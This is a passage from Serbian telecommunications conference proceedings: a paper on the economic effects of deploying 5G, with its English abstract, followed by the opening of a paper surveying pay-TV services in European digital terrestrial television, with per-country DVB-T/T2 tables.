5G je sledeći korak u evoluciji mobilne tehnologije. U odnosu na prethodne generacije mobilnih tehnologija, 5G se bitno razlikuje po malom kašnjenju (*near zero latency*) i većim brzinama prenosa, reda 1-10 Gbps. Uticaj 5G tehnologije na ekonomiju ima jednostavan tok – investira se u razvoj i implementaciju 5G mreže, investicije kreiraju nova radna mesta, a sve to zajedno povećava BDP (bruto društveni proizvod). Nećemo zaboraviti ni benefite od nove tehnologije, rast produktivnosti i efikasnosti usled sveprisutnog i ultrabrzog broadbanda, uštede u vremenu i resursima zahvaljujući primeni naprednih 5G servisa. 5G tehnologija će u budućnosti biti baza za inovacije u privredi i industriji. U ovom radu predstavljena je analiza uticaja primene 5G tehnologije na ekonomiju.

Ključne reči:

spektar, IoT, Cloud, 5G servisi, MIMO.

1. UVOD

Tokom istorije i tehnološke evolucije, mnoge tehnologije našle su najširu primenu u više oblasti ljudskog rada i života. Najočigledniji primeri su otkriće parne mašine, železnice, automobila, električne energije, telefona, interneta. Svojom primenom ova otkrića promenila su poslovne procese, životne navike, produktivnost ljudi i mašina, donela čovečanstvu veliku ekonomsku korist, a ljudima bolji životni standard. 5G tehnologija ima izglede da postane novi katalizator produktivnosti i povećane ekonomske aktivnosti u mnogim granama privrede. Očekuje se da će 5G tehnologija i mreža imati pozitivan uticaj na globalni ekonomski održivi rast i razvoj. Ona će omogućiti sveopštu povezanost (umreženo društvo, Networked Society). Potencijal 5G tehnologije kroz mnogostruke načine korišćenja (*use case*) je ogroman. Mobilna tehnologija je prošla put od platformi koje su služile samo za povezivanje ljudi (2G, 3G) do platformi koje ljude povezuju i sa mašinama (4G). U odnosu na 3G tehnologiju, 4G je unapredila kapacitet mreže, brzine prenosa, iskorišćenje spektra i smanjila kašnjenje. 5G mreža podrazumeva sveprisutnu (ubiquitous) ultrabrzu broadband infrastrukturu, koja će podstaći tražnju i potrebe korisnika i uticati na transformaciju poslovnih procesa u svim granama privrede (tzv. digitalna transformacija). 5G će transformisati ne samo personalne komunikacije, već i čitavu privredu i ekonomiju. Iako 4G generacija mobilnih tehnologija

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e-mail: sstamen@beotel.rs u mnogim zemljama još uvek nije implementirana, svet se već okreće novoj, 5G. Japan i Južna Koreja su među svetskim liderima u primeni žične broadband tehnologije, a sad žele primat i u bežičnoj tehnologiji. Južna Koreja priprema 5G mrežu za Zimske olimpijske igre 2018. a Japan za Letnje 2020. godine. Početak šire komercijalne primene 5G tehnologije očekuje se nakon 2020. godine. Razvoj 5G tehnologije zahteva novi pristup u regulativi i politici u oblasti javne bezbednosti, raspodele spektra, cyber bezbednosti, privatnosti, zdravstva, obrazovanja, javne infrastrukture. Kreatori politike i regulative moraju voditi računa da ne sputavaju inovacije i investicije koje su presudne za razvoj 5G.

2. KARAKTERISTIKE 5G TEHNOLOGIJE I MREŽE

Glavne prednosti uvođenja 5G su niži troškovi, veći kvalitet usluga, visoka raspoloživost mreže. Nema svrhe za posebne mreže za sve sisteme, nego se koristi tzv. *network slicing* tehnika. *Network slicing* je način da više mreža radi na istoj infrastrukturi. Osigurano je dinamičko upravljanje i kontrola saobraćaja. 5G će podržati aplikacije koje zahtevaju visoku pouzdanost, raspoloživost i bezbednost i ultranisko kašnjenje u prenosu informacija. To će omogućiti podršku autonomnim vozilima, daljinskom obavljanju složenih radnji i operacija i daljinskom upravljanju opremom (npr. *telehealth*).

Mogućnosti 5G mreže i tehnologije su sledeće [1]:

- Bitske brzine za korisnike 1-10 Gbps;
- Ultranisko kašnjenje end-2-end reda 1-5 ms;
- 1000x veći bandwith po jedinici pokrivene povšine;
- Mogućnost konektovanja 10-100x više uređaja;
- Mogućnost konekcije u pokretu pri brzini kretanja do 500 km/h;
- Pokrivenost 100%, raspoloživost 99,999%;
- Smanjenje potrošnje energije u mreži za 90%;
- Produženi vek trajanja baterije do 10 godina za uređaje sa niskom potrošnjom.

Tehničke mogućnosti i karakteristike 5G tehnologije znatno se razlikuju od onih prethodne generacije mobilnih tehnologija (Slika 1). 5G tehnologija može da koristi i licencirani i nelicencirani spektar, može se koristiti i u javnim i u privatnim mrežama, što joj otvara mogućnost široke primene u industriji. Različiti načini primene na različitim uređajima imaju presudan ekonomski uticaj. 5G infrastuktura mnogo je efikasnija u odnosu na prethodne generacije mobilnih komunikacija. To se odnosi na hardver, spektralnu efikasnost, energetsku efikasnost, pojednostavljenu integraciju, brže kreiranje servisa. Sve to znači i niže troškove svih učesnika u poslovnom procesu. Energetska efikasnost je veoma važna za očuvanje životne sredine i održanja klimatskih uslova. Manja potrošnja personalnih uređaja znači i duže trajanje baterije, što je veoma bitno za primenu koncepta *Internet of Things* (IoT).



Slika 1. Karakteristike 5G tehnologije (www.rohde-schwarz.com).

5G mreža treba da bude ultrabrza, manje energetski zahtevna i softverski upravljana. Hardver 5G mreže je uglavnom virtuelizovan tj. zamenjen softverom i jednostavan za rekonfiguisanje. 5G infrastruktura koristi koncept *Cloud computing-a* i integriše *networking, storage* i *computing*. Resursi su distribuirani i optimizovani i mogu se dinamički koristiti. To omogućava konvergenciju fiksnih, mobilnih, *broadband* i *broadcast* servisa. Korisnici traže objedinjeni pristup, široku paletu usluga, ne žele da budu svesni postojanja fiksne ili bežične mreže.

Za unapređenje mobilnih servisa koje nudi 5G, podrška *Cloud* servisa je od velike važnosti. Dostizanje malih nivoa kašnjenja sigurno neće biti moguće bez instaliranja velikog broja čvorišta (POP, *Point of Presence*) i bez primene *Cloud* tehnologije u obodnom (*edge*) delu mreže (tzv. *Mobile Edge Computing*), a ni pristup podacima, softveru i servisima sa bilo kog mesta u bilo koje vreme. Servisi bazirani na Cloudu koriste uskladištene podatke i fajlove velikog kapaciteta (npr. slike visoke rezolucije, video fajlovi), zato su primena 5G i unapređenje mobilne mreže praktično neodvojivi od *Cloud computing-a* [2]. 5G mreža predstavlja spregu različitih naprednih tehnologija kao što su *Software Defined Networking* (SDN), *Network Function Virtualization* (NFV), *Mobile Edge Computing* (MEC), *Fog Computing* (FC) i biće sposobna da podrži različite pristupne tehnologije.

Unaprediti mrežu i zadovoljiti zahteve za kapacitetom uvek je veliki izazov za mobilne operatere. Povećana gustina mreže, koju zahteva 5G, komplikuje i izgradnju i upravljanje mreže. Prenos signala na višim frekvencijama je osetljiv i to poskupljuje opremu. Stoga je neophodno poboljšati korišćenje frekventnih opsega višetrukim korišćenjem frekvencija, koristiti veće frekventne opsege za prenos (*bandwith*) i poboljšati spektralnu efikasnost MIMO antenama (MIMO – *Multiple In Multiple Out*).

3. SPEKTAR KAO VITALNI RESURS

Međunarodne telekomunikacione organizacije još uvek rade na preciziranju i definisanju opsega koji će se komercijalno koristiti. Da bi se osiguralo investiranje u 5G tehnologiju potrebno je obezbediti dodatne resurse u spektru, od nekoliko stotina MHz do nekoliko GHz po operateru. Pritom je najvažnije voditi računa o interferenciji. Za dugoročne investicije neophodna je stabilnost u regulatornoj politici i predvidivo upravljanje spektrom. Potrebno je i praćenje istraživanja i novih tehnika prenosa signala. Spektar je resurs koji svaka država prodaje, odnosno iznajmljuje na određeni rok. Prodaja spektra kao resursa obezbeđuje državi sredstva koja se mogu iskoristiti za unapređenje uslova za život njenih građana i drugu opštu dobrobit zajednice. Radio-spektar je sve skuplji i na poslednjoj aukciji u SAD od prodaje spektra prikupljeno je \$45 milijarde. Vrednost spektra zavisi od

mnogih faktora. Nije jednaka i jedinstvena, razlikuje se od tržišta do tržišta. Različiti korisnici spektra različito vrednuju pojedine opsege, zavisno od svoje strategije, primenjene tehnologije, konkurentskih uslova, projekcije prihoda.

Razmatra se korišćenje frekventnih opsega i iznad 6 GHz. Centimetarski (cmWave, 6 GHz-30 GHz) i milimetarski talasi (mmWave, 30-100 GHz) pogodni su za pristupnu mrežu velike gustine i za dostizanje velikih brzina protoka. Kompanija Samsung je još 2013. godine ostvarila prvi 5G komunikacioni link na frekvenciji 28 GHz uz maksimalnu bitsku brzinu od 1,056 Gbps na rastojanju do 2 km pomoću antene sa 64 elementa. U opsegu od interesa za 5G (20-100 GHz) može se ponuditi između nekoliko kontinuiranih frekventnih opsega (kanala) od 1-10 GHz. Na Slici 2 prikazani su segmenti spektra namenjeni raspodeli (zatamnjeno) i potencijalni segmenti za raspodelu (šrafirano) na konferenciji WRC-19 (World Radio Conference 2019. godine), međunarodne organizacije za telekomunikacije ITU. Idealno je obezbediti ukupnu širinu kanala do 1 GHz za svakog operatera. Zbog toga 5G tehnologija, u odnosu na 4G, realno može ponuditi 10 i više puta veće brzine, više od 10 Gbps. Radi što efikasnijeg i ekonomičnijeg korišćenja spectra, primenjivaće se tehnike koordiniranog deljenog pristupa (Coordinated Shared Access), dinamičke preraspodele spektra (Dinamic Spectrum Allocation) i agregacije nosilaca (Carrier Aggregation). Spektralna efikasnost 5G može se unaprediti i masovnom primenom MIMO anatena i tehnikom usmerenog emitovanja (beam-forming). Spektar ostaje izazov za implementaciju 5G.



Slika 2. Raspodela spektra za 5G iznad 6 GHz (Global mobile Suppliers Association 2016).

4. ANALIZA UTICAJA NA EKONOMSKI RAST I RAZVOJ

Iz ekonomske perspektive, najveći uticaj imaće investicije u 5G tehnologiju i povećanje efikasnosti i produktivnosti usled primene 5G tehnologije. Tehnološka unapređenja 5G (veće brzine prenosa, veći kapacitet, malo kašnjenje) omogućiće povećanje produktivnosti, unapređenje poslovnih procesa i konkurentnosti, nove, efikasnije biznis modele i nove servise sa dodatnom vrednošću. Investicije i rast produktivnosti uticaće na otvaranje novih radnih mesta i povećanje zarada. Prethodne generacije mobilnih tehnologija već su izmenile način na koji ljudi komuniciraju. 5G tehnologija promeniće način na koji mnoge privredne grane funkcionišu. Ključni uticaj na društvo, 5G će ostvariti kroz unapređeno *mobile broadband* iskustvo. Za to je potrebna odlična pokrivenost terena, naročito unutrašnjosti objekata i veliki kapacitet mreže, koja mora biti sposobna da opsluži veliki broj uređaja sa velikim brzinama protoka podataka. Efikasnost takve mreže ogleda se kroz energetsku efikasnost i efikasnost prenosa (*lower cost-per-bit*). Sa razvojem mobilnog *broadband*, koji nudi 5G mreža, i identifikovanjem prednosti koje pruža, rašće zahtevi privrede i biznisa za njim. Te prednosti su smanjenje troškova, povećanje prodaje, pristup novim tržištima i novim korisnicima, ušteda vremena zaposlenih, bolji kvalitet usluge.

Nove investicije, R&D i tehnološke inovacije imaće veliki efekat na rast globalne ekonomije u narednih dvadesetak godina. Istraživanje kompanije IHS Markit pokazuje da će do 2035. godine 5G tehnologija omogućiti \$12,3 hiljade milijardi (trilion \$) ekonomskog obrta, što je jednako potrošnji na celom SAD tržištu u 2016. godini [3]. Uvođenje 5G tehnologije omogućiće otvaranje 22 miliona novih radnih mesta [3]. U izgradnju infrastrukture 5G mreže i razvoj novih aplikacija godišnje će se investirati prosečno oko \$200 milijardi (biliona). 5G će time uticati na dugoročni rast svetskog BDP. IHS Markit još kaže da će od 2020–2035. ukupan doprinos razvoja 5G na svetsku ekonomiju biti jednak vrednosti BDP današnje Indije, koja je sedma najveća ekonomija u svetu.

Ukupan godišnji BDP Evrope danas iznosi 660 milijardi €, a IT sektor u njemu učestvuje sa 5% [4]. Prema izveštaju Svetske banke, dodatna ulaganja u ICT uticala bi na rast u visokoprofitnim granama za 1,21%, a u srednje i niskoprofitnim granama privrede za 1,38% [4]. Izgradnja nove 5G mrežne infrastrukture prilika je za nova istraživanja, integraciju i proizvodnju, saradnju istraživačkih centara, univerziteta i industrije, naročito prilika za mala i srednja preduzeća da u konkurentnom okruženju učestvuju u implementaciji i širokoj primeni 5G mreže i njenih servisa. Prema podacima UMTS Foruma, konektivnost na bežičnu mrežu biće povećana sa 45% u 2012. godini na 75% u 2020. godini, kada će WiFi pokrivenost iznositi 50% ukupne pokrivenosti [4]. Svedoci smo stalnog porasta broja različitih mobilnih uređaja i eksponencijalnog rasta mobilnog saobraćaja (CAGR 50-60%) u kome dominira video-saobraćaj. Heterogene mobilne mreže postaju sve kompleksnije i troše sve više energije. Neophodan je njihov održiv rast i razvoj, fleksibilnost i skalabilnost, što nudi i omogućava 5G mreža.

Prema studiji za potrebe Evropske komisije, ulaganje u 5G donelo bi sredinom narednog desetleća oko 113 milijardi evra potencijalnih društveno-ekonomskih benefita u zemljama EU, zbirno u raznim oblastima a najviše u generisanju oko 2 miliona novih radnih mesta (Slika 3) [5]. Procenjuje se da bi čak 63% svih benefita proisteklo od korišćenja 5G servisa od strane poslovnih korisnika (preduzeća). Prema istoj studiji, troškovi uvođenja 5G u 28 zemalja EU do 2020. mogli bi dostići i do 56 milijardi evra [5]. Na osnovu istraživanja kompanije ABI Research, očekuje se da do 2025. godine godišnji prihodi mobilnih operatera od 5G tehnologije globalno dostignu do oko 225 milijarde evra [6]. Britanski mobilni operater O2 Telefonica UK očekuje da će do 2026. godine 5G ostvariti veće ekonomske efekte nego tehnologija optika do kuće (Fiber-to-the-home, FTTH), i to 18,5 miliona GBP naspram 17,5 miliona GBP od FTTH [7]. Ti efekti će poticati od izgradnje infrastrukture, javnih servisa, povećanja produktivnosti i unapređenja lanaca snabdevanja. Praktično, ovo ekonomski znači da 5G ima brži povrat investicija (ROI) u odnosu na FTTH.



Slika 3. Društveno-ekonomski benefiti 5G u EU28 (http://www.5gensure.eu/news/insights-socio-economic-impact-5g).

Lanac vrednosti 5G (*value chain*) uključuje različite tehnološke kompanije: mrežne operatere, provajdere mrežnih platformi, proizvođače mrežne opreme i komponenata, proizvođače uređaja, developere aplikacija i sadržaja. Veliki propusni opseg je prilika da medijske kuće i filmska industrija mogu da strimuju sadržaje sa što većom rezolucijom i time gledaocima pruže jedinstveno iskustvo i kvalitet. Industrija onlajn igara ima problem sa kašnjenjem u mreži i zbog toga igrači nemaju veliki komfor u igranju preko interneta. Rešenje je u 5G standardu.

5G tehnologija imaće veliki uticaj na transformaciju lokalne ekonomije i na upravljanje gradskom infrastrukturom (*Smart Cities* projekti). Kroz upravljanje gradskim saobraćajem i javnom rasvetom već je moguće ostvariti značajne uštede u potrošnji električne energije, goriva i vremena koje se troši u saobraćajnim gužvama, zastojima, nalaženju parking mesta. čime se smanjuje i emisija štetnih gasova u atmosferu. Tu su i senzori potrošnje vode i energije, kamere i dronovi za nadzorom okoline i infrastrukture radi unapređenja sistema javne bezbednosti i efikasnog korišćenja resursa.

Za implementaciju 5G mreže u gradovima neophodno je 10-100 puta više lokacija za antene nego za 3G i 4G. Veličina ćelija smanjena je jer se mora povećati kapacitet mreže i brzina protoka. Broj uređaja koji će biti povezan na 5G mrežu mnogo je veći nego danas. Od robusnosti 5G mreže zavisi ekonomska korist i ušteda koja će se ostvariti kroz realizaciju projekata *Smart Cities*.

Implementacijom 5G mreža više neće biti potrebno realizovati posebne senzorske mreže za povezivanje velikog broja senzora, aktuatora, informacionih tabli (*mission critical services*). 5G ispunjava sve uslove za tehničke i poslovne inovacije, nova mrežna rešenja i njihovu primenu na tzv. vertikalnom tržištu: u industriji, auto-industriji, energetici, poljoprivredi, saobraćaju, bankarstvu, zdravstvu, obrazovanju i drugim privrednim granama.

5. INTERNET OF THINGS

Do 2022. biće preko 30 milijardi pametnih uređaja na planeti [8]. 5G će omogućiti njihovu praktično neograničenu međusobnu komunikaciju. Kombinacija pametnih uređaja, mobilne tehnologije i *Cloud computinga* omogući će novo iskustvo korisnika, nove usluge i nove aplikacije, kao što su vozilo bez vozača (autonomno vozilo) sa ugrađenim automatskim rutiranjem u saobraćaju, pametna gradska infrastruktura (parking, *lighting*), unapređena realnost (*augmented reality*) i slično (Slika 4).

5G tehnologija ključna je za implementaciju masovnog *Internet of Things*, jer podržava povezivanje po principu "bilo gde, bilo kad, bilo ko i bilo šta". Ovo je bazično za dobre prihode u skladu sa ekonomijom obima (*economy of scale*).

IoT kompanije nemaju veliku potrebu za većim brzinama prenosa za svoje aplikacije, ali bi im svakako bilo od koristi da njihovi senzori mogu da rade nekoliko godina sa istom baterijom, bez zamene. To će omogućiti 5G tehnologija, koja kao jedan od ciljeva ima nisku potrošnju uređaja i desetogodišnji radni vek baterija. IoT aparati će sigurno postati novi generator prihoda za kompanije koje će ih proizvoditi.



Slika 3. Društveno-ekonomski benefiti 5G u EU28 (http://www.5gensure.eu/news/insights-socio-economic-impact-5g).

Među najvažnije aplikacije masovnog IoT spadaju one namenjene poljoprivredi i šumarstvu: monitoring poljoprivrednog zemljišta (dronovi sa kamerama i senzori), upravljanje sistemima za navodnjavanje, nadzor i dojava požara.

6. REALNOST 5G

Poznato je da se danas 70-80% svih mobilnih konekcija obavlja iz kancelarija i domova (*indoor*), gde je osim mobilnog prisutan i fiksni *broadband* (ADSL/VDSL/ FTTH ruteri sa WiFi pristupom) [8]. Velika konkurencija 5G tehnologiji je već masovni WiFi, koji današnji smartfon korisnici uglavnom koriste za pozive (aplikacija Viber) i prenos podataka. Ova činjenica nagoni na razmišljanje: da li će korisnici sa navikom besplatnog WiFi pristupa ikada više imati potrebu za mobilnim pristupom, ma koliko on bio brz (kao što jeste u slučaju 5G).

Za novu mrežu i infrastrukturu potrebna su nova ulaganja, a prihodi opratora već duži niz godina ne rastu. Pitanje je hoće li svi mobilni operateri izdržati trku ili će biti prinuđeni da se integrišu sa većim, bogatijim i moćnijim (globalnim) operaterima. Da li je koncentracija neizbežna i da li će mnoge zemlje ostati sa samo jednim mobilnim operaterom, kao što neretko imaju jednog snabdevača vodom ili strujom? Uostalom, na početku ovog rada napomenuli smo da 5G ima karakter tehnologije opšte namene koja postaje nezaobilazni deo svakodnevnog života.

7. ZAKLJUČAK

Očekuje se da će uvođenje 5G tehnologije imati značajne ekonomske efekte, pre svega kroz povećanje produktivnosti. 5G mreža treba da ponudi kapacitet i brzine dovoljne za prenos (*upload* i *download*) zahtevnih visokokvalitetnih video-servisa bežičnim putem, ali i povezivanje velikog broja uređaja sa bilo kog mesta u bilo koje vreme. Prednosti uvođenja 5G tehnologije su izazovne i velike, a mogućnosti za inovacije raznovrsne. Da bi se ostvarili maksimalni benefiti za različite stejkholdere, potrebno je blagovremeno obaviti preraspodelu resursa u spektru i voditi računa o regulaciji tržišta. 5G će omogućiti transformaciju industrije, nove biznis modele, nove aplikacije, nove izvore prihoda i nova radna mesta.

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THE ANALYSIS OF THE ECONOMIC ASPECTS OF 5G TECHNOLOGY IMPLEMENTATION

Abstract:

5G is the next step in the evolution of mobile technologies. Compared to the previous generation of mobile technology, 5G is significantly different due to a small delay (near zero latency) and higher speed transfer from 1 to 10 Gbps. The impact of 5G technologies on the economy has a simple flow: investing in the development and implementation of 5G networks, investments create new jobs and all of this together increases the GDP (Gross Domestic Product). Also, we will have the benefits of new technologies, increase productivity and efficiency due to the ubiquitous ultra-fast broadband, savings in time and resources by using advanced 5G services. In the future, 5G technology will be the basis for innovation in the economy and industry. In this paper, the analysis of impact of 5G technology deployment on the economy is given.

Keywords:

Spectrum, IoT, Cloud, 5G Services, MIMO.

DRESEARCH

SINTE7A 2017

ELECTRONIC COMMUNICATIONS AND DIGITAL BROADCASTING SYSTEMS

SERVISI PLAĆENE TELEVIZIJE U SISTEMIMA DIGITALNE ZEMALJSKE TELEVIZIJE U EVROPI

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Abstract:

U ovom radu dat je pregled servisa plaćene televizije (PAY TV) u okviru digitalne zemaljske televizije u Evropi. Najpre su za sve evropske zemlje date karakteristike "slobodne" (free-to-air) zemaljske TV koje uključuju: broj zauzetih multipleksa, standard za DTV (DVB-T i DVB-T2), standard za video-kompresiju i broj SDTV i HDTV kanala u multipleksima. Zatim je dat pregled osnovnih karakteristika za PAY TV, kao i osnovne tehničke specifikacije koje koriste provajderi za emitovanje PAY TV. Grafički je pri-kazano poređenje broja SDTV i HDTV kanala koji se emituju u *free-to-air* i PAY TV sistemima kao zastupljenost DVB-T i DVB-T2 standarda za sve evropske zemlje.

Key words:

slobodna TV, plaćena TV, DVB-T, DVB-T2, MPEG.

1. UVOD

Na Regionalnoj konferenciji o radio-komunikacijama (RRC-06), u organizaciji Međunarodne unije za telekomunikacije (ITU), u periodu od 15. maja do 16. juna 2006. godine u Ženevi, usvojena su Završna akta u kojima je sadržan novi sporazum Ženeva 2006 (GE06) koji omogućava uvođenje potpunog digitalnog zemaljskog radiodifuznog emitovanja u zoni planiranja. Sve evropske zemlje obavezale su se da najkasnije do 17. juna 2015. godine pređu na digitalno emitovanje radio i televizijskog signala, odnosno izvrše analog *switch off* (ASO). U skoro svim zemljama Evrope danas se isključivo emituje digitalna zemaljska televizija. Uvođenjem digitalnog i isključivanjem analognog emitovanja oslobađa se veći deo radio spektra, čime se omogućuje emitovanje većeg broja TV programa i pratećih servisa. Jedna od prednosti digitalnog emitovanja je i distribucije plaćene TV (PAY TV) u zemaljskoj DVB-T mreži, tzv. "bežična kablovska TV".

Razvojem digitalne televizije omogućena je, pored standardne digitalne televizije (SDTV – Standard Definition Television), upotreba i televizije visoke rezolucije HDTV (High Definition Television). HDTV je tehnologija koja nudi kvalitet slike i zvuka značajno višeg u odnosu na tradicionalne tehnologije prikaza slike i zvuka. Televizija Ultra visoke definicije (UHDTV – Ultra High Definition Television) uključuje 4K UHDTV (2160p) i 8K UHDTV (4320p), i predstavlja unapređenu verziju HDTV [1]. Evropske zemlje usvojile su standard DVB-T (Digital Video Broadcasting – Terrestrial), odnosno DVB-T2. Prvi koncepti DVB-T usvojeni su 1993. a prva finalna verzija 1997. godine. Podrazumeva prenos digitalizovanog audio i video sadržaja zemaljskim putem posredstvom emisione tehnologije u VHF i UHF opsegu uz pomoć konvencionalnih sistema predajnika i odgovarajućih prijemnika [2, 3]. DVB-T2 je naprednija verzija DVB standarda za terestrijalno emitovanje. U poređenju sa DVB-T, DVB-T2 nudi značajno manju osetljivost na smetnje i šumove i obezbeđuje 30-50% veći protok podataka, što je naročito pogodno za HDTV (High-definition television) [2, 3].

Kako zauzetost frekvencijskog spektra zavisi od bitskog protoka, potrebno ga je smanjiti, pa se vrši redukcija, odnosno kompresija signala korišćenjem više metoda. Najšire primenjivan standard za kompresiju u digitalnoj televiziji je MPEG-2, nakon kojeg se pojavio MPEG-4 (verzija 10), odnosno H.264/AVC. Dodato je nekoliko poboljšanja koja se ogledaju u novim načinima kodiranja i smanjivanju bitskog protoka bez degradacije kvaliteta slike. Najnoviji video-kompresioni standard HEVC/H.265 video-kodiranje (High Efficiency Video Coding) donosi bolje performanse nego prethodni standardi kodiranja, a najveća prednost novog standarda je do 50% efikasnija kompresija u odnosu na H.264 i podrška za 4K i 8K UHDTV rezoluciju [4].

2. SLOBODNA ZEMALJSKA TELEVIZIJA

Slobodna ili *free-to-air* (FTA) zemaljska televizija odnosi se na distribuciju digitalne televizije i pratećih servisa bez dodatne naknade.

U Tabeli 1 date su osnovne karakteristike u vezi sa primenom DVB-T standarda u zemljama Evrope. Dat je broj SDTV i HDTV kanala dostupnih u multipleksima zemaljske digitalne TV. Broj kanala odnosi se na nacionalne kanale, tj. kanale koji pokrivaju celu teritoriju države. Dat je i broj nacionalnih multipleksa (MUX), lokalni nisu predstavljeni.

Prikazani su i standardi sa video-kompresijama koji se koriste u različitim državama, kao i godine kada je započela digitalna zemaljska TV transmisija i godina kada je izvršen ASO (*analog switch off*). Godina početka emitovanja DVB-T odnosi se na eksperimentalno emitovanje, dok je regularno i komercijalno emitovanje započelo kasnije. Podaci prikazuju stanje na dan 1. januar 2017. godine, a prikupljeni su sa zvaničnih veb-stranica nacionalnih regulatornih agencija i provajdera digitalne zemaljske transmisije za određenu zemlju [5-51].

Zemlja	SD	HD	MUX	Standard/Video-kompresija	Start	ASO
Albanija	-	-	-	-	2004.	
Andora	28	-	6	DVB-T/MPEG-2	2005.	2007.
Austrija	5	7	3	DVB-T/MPEG-2 DVB-T2/MPEG-4 (za HDTV)	2004.	2011.
Belorusija	9	-	1	DVB-T/MPEG-4	2004.	
Belgija	7	-	2	DVB-T/MPEG-2	2002.	2010.
Bosna i Hercegovina	3	-	1	DVB-T/MPEG-4	2016	
Bugarska	5	1	1	DVB-T/MPEG-4	2004.	2013.
Crna Gora	5	-	1a	DVB-T2/MPEG-4	2014.	2015.
Češka Republika	24	7	4	DVB-T/MPEG-2 DVB-T2/MPEG-4 (za HDTV)	2000.	2012.
Danska	3	6	2	DVB-T/MPEG-4	2003.	2009.
Estonija	9	2	4	DVB-T/MPEG-4 DVB-T2/MPEG-4 (za HDTV)	2004.	2010.
Finska	21	4	3	DVB-T/MPEG-2 DVB-T2/MPEG-4 (za HDTV)	1999.	2007.

Francuska	3	24	5	DVB-T/MPEG-2 DVB-T/MPEG-4 (za HDTV) DVB-T2 testovi	2005.	2011.
Grčka	12	1	3	DVB-T/MPEG-4	2006.	2014.
Holandija	3	-	1	DVB-T/MPEG-2	1998.	2006.
Hrvatska	11	-	3	DVB-T/MPEG-2	2002.	2010.
Island	7	1	1	DVB-T/MPEG-4	2005.	2015.
Irska	8	2	2	DVB-T/MPEG-4	2006.	2012.
Italija	139	13	18	DVB-T/MPEG2, MPEG 4 DVB-T2 testovi	1998.	2008.
Kipar	15	1	3	DVB-T/MPEG-4	2010.	2011.
Letonija	5	-	1	DVB-T/MPEG-4	2002.	2010.
Litvanija	14	-	2	DVB-T/MPEG-4	2003.	2012.
Luksemburg	10	-	3	DVB-T/MPEG-2	2002.	2006.
Mađarska	7	5	1	DVB-T/MPEG-4	2004.	2013.
Makedonija	9	1	3	DVB-T/MPEG-4	2004.	2013.
Moldavija	8	-	1	DVB-T2/MPEG-4	2003.	
Nemačka	28	-	5	DVB-T/MPEG-2 DVB-T2/HEVC switch	2002.	2012.
Norveška	-	-	-	-	1999.	2009.
Poljska	25	2	4	DVB-T/MPEG-4	2001.	2013.
Portugal	7	1	1	DVB-T/MPEG-4	2009.	2012.
Rumunija	8	1	1	DVB-T2/MPEG-4	2005.	
Rusija	20	-	2	DVB-T2/MPEG-4 DVB-T2/HEVC testovi	2005.	
Slovačka	14	2	3	DVB-T/MPEG-2 DVB-T/MPEG-4 (za HDTV)	2009.	2012.
Slovenija	9	2	2	DVB-T/MPEG-4	2001.	2010.
Srbija	10	-	2	DVB-T2/MPEG-4	2005.	2015.
Španija	23	9	8	DVB-T/MPEG-2 DVB-T/MPEG-4 (za HDTV)	1999.	2010.
Švedska	7	2	1a	DVB-T/MPEG-2 DVB-T2/MPEG-4 (za HDTV)	1999.	2007.
Švajcarska	7	-	3	DVB-T/MPEG-2	2000.	2008.
Ukrajina	27	1	4	DVB-T2/MPEG-4	2007.	
Velika Britanija	79	15	8	DVB-T/MPEG-2 DVB-T2/MPEG-4	1998.	2012.

^{a.}Multipleks se koristi i za PAY TV

Tabela 1. Osnovne karakteristike FTA digitalne zemaljske TV transmisije u zemljama Evrope

Iz Tabele 1 može se videti da samo manji broj zemalja (Albanija, Bosna i Hercegovina, Belorusija, Moldavija, Rumunija, Rusija i Ukrajina) nisu izvršili poptpuni prelazak na digitalno TV emitovanje. Takođe, može se videti da u dve zemlje (Albanija i Norveška) ne postoji FTA transmisija, već isključivo PAY TV.

Na Slici 1 dat je grafički prikaz zastupljenosti DVB-T/ T2 standarda i video-kompresionih standarda za FTA u Evropi.



Slika 1. Zastupljenost DVB-T/T2 standarda i videokompresionih standard za FTA TV transmisiju.

Najzastupljeniji standard za FTA transmisiju je DVB-T/MPEG-4 (42%), a zatim paralelna upotreba DVB-T/ MPEG-4 i DVB-T2/MPEG-4 standarda, gde se DVB-T2/ MPEG-4 koristi uglavnom za HDTV.

3. PLAĆENA ZEMALJSKA TELEVIZIJA

Plaćena ili PAY zemaljska televizija odnosi se na distribuciju digitalne televizije i pratećih servisa sa nakandom, odnosno uz uslovni pristup servisima. U Tabeli 2 date su osnovne karakteristike u vezi sa primenom DVB-T standarda za PAY TV u zemljama Evrope. Dat je broj SDTV i HDTV kanala dostupnih u multipleksima, kao i broj multipleksa (MUX) koji provajder koristi za PAY TV usluge.

Prikazani su i standardi sa video-kompresijama koji se koriste u različitim državama, kao i godina početka kada je započeta PAY TV i ime provajdera. Podaci prikazuju stanje na dan 1. janaur 2017. godine, a prikupljeni su sa zvaničnih veb-stranica nacionalnih provajdera PAY TV digitalne zemaljske transmisije za određenu zemlju [5, 6, 9, 10, 15, 17-19, 21, 23, 25, 26, 29-31, 34, 35, 38, 43, 46, 48].

Zemlja	SD	HD	MUX	Standard	Start
Albanija	62	9	8	DVB-T2/MPEG-4	2004.
Austrija	23	7	3	DVB-T2/MPEG-4	2013.
Belorusija	34	_	2	DVB-T2/MPEG-4	2011.
Crna Gora	29	_	2	DVB-T2/MPEG-4	2016.
Danska	13	17	4	DVB-T2/MPEG-4	2009.
Estonija	30	-	2	DVB-T/MPEG-4	2009.
Finska	44	12	6	DVB-T/MPEG-2, DVB-T2/MPEG-4	2006.
Francuska	7	1	1	DVB-T/MPEG-4	2005.
Holandija	27	-	4	DVB-T/MPEG-2	2004.
Hrvatska	43	2	2	DVB-T2/MPEG-4	2012.
Island	10	2	1	DVB-T/MPEG-4	2010.
Italija	27	8	5	DVB-T/MPEG-2, MPEG-4	2005.
Letonija	46	11	6	DVB-T/MPEG-4	2009.
Litvanija	31	3	4	DVB- /MPEG-4	2009.
Mađarska	47	-	4	DVB-T/MPEG-4	2008.

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Makedonija	41	-	4	DVB-T/MPEG-4	2009.
Norveška	30	8	5	DVB-T/MPEG-4	2009.
Slovačka	14	1	1	DVB-T2/MPEG-4	2014.
Srbija	23	-	1	DVB-T2/MPEG-4	2016.
Švedska	44	11	6	DVB-T2/MPEG-4	1999.

Tabela 2. Osnovne karakteristike PAY digitalne zemaljske TV transmisije u zemljama Evrope.

